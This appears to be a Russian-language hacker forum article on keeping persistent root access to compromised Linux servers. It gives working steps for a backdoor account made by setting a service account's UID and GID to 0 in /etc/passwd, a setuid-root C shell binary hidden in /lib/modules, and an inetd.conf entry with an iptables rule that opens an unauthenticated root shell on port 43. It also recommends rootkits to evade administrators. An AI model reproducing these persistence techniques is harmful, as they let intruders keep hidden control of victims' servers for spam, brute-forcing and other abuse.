Методы закрепления на взломанных серверах.
Вы взломали сервер, не важно как, может была уязвимость в программном обеспечении или же слабый пароль, [ sql | php]-инъекция, или все вместе(такое тоже бывает). На команду id вы получаете ответ id=0(root), gid=0(root), можете творить все что угодно, например, установить proxy, запустить brut, рассылать спам. Если просто заходить каждый раз под рутом рано или поздно админ вас заметит и сменит пароль, бывают и такие кому все равно, либо о безопасности ничего не знают и не хотят…. Что же их дело, а хакеры не спят, они как раз ищут такие системы.
Что же делать дальше? Как быстро закрепиться в системе?
Есть несколько известных мне способов:
/etc/passwd.
Этот способ прост и заключается в установке пароля и прав для таких учетных записей как: irc, www-data, news, mail, …. Сначала устанавливаем пароль для выбранной записи, затем редактируем файл /etc/passwd.
passwd irc
Enter new UNIX password: 123
После этого находим в файле passwd строчку:
Irc:x:39:39:ircd:/var/run/ircd:/bin/sh
заменим на
Irc:x:0:0:ircd:/var/run/ircd:/bin/sh
Мы изменили User ID и Group ID на такие же, как рута.
Минусы: Хороший администратор легко заметит разницу, но если файл объемный можно и не заметить.
Suid-bit.
Другой способ состоит из написания небольшой программки на С и установке для нее suid – бита.
Код:
#include <stdio.h>
void main()
{
Setuid(0);
System(“/bin/bash”);
}
Компилим: gcc shell.c –o shell
Устанавливаем права: chmod 4777 shell
Лучше скопировать куда-нибудь подальше. Например, в /lib/modules.
Минусы: Можно обнаружить с помощью команды find, у нее есть ключи поиска программ с установленным битом suid.
Inetd.conf
Этот метод не пройдет, если правильно настроен файрволл, поэтому нужный порт надо сперва открыть.Он состоит из добавления записи в Inetd.conf. Это демон отвечающий за некоторые сетевые приложения.
Открываем нужный порт:
iptables –A INPUT –p tcp –dport 43 –j ACCEPT
Добавляем запись:
whois stream tcp nowait root /bin/sh sh –i
whois(Имя) stream(Тип сокета) Протокол(tcp,udp) nowait( inetd продолжает слушать порт после соединения одного клиента) root (права с которыми будет запущена оболочка) /bin/bash( сама программа) .
Мы добавили новый сервис whois работает на 43 порту, список сервисов можно посмотреть в /etc/services. Теперь осталось соединится телнетом на 43 порт и запустится наша оболочка.
Минусы: Команда netstat видит этот порт.
Руткиты:
Писать про них не буду, так как уже есть несколько хороших статей.
Пользоваться руткитами удобнее и безопаснее, к тому же они имеют много хороших функций скрытие процессов, сетевых соединений, файлов и папок. Их труднее обнаружить, особенно “ядерные”.
Что можно еще добавить?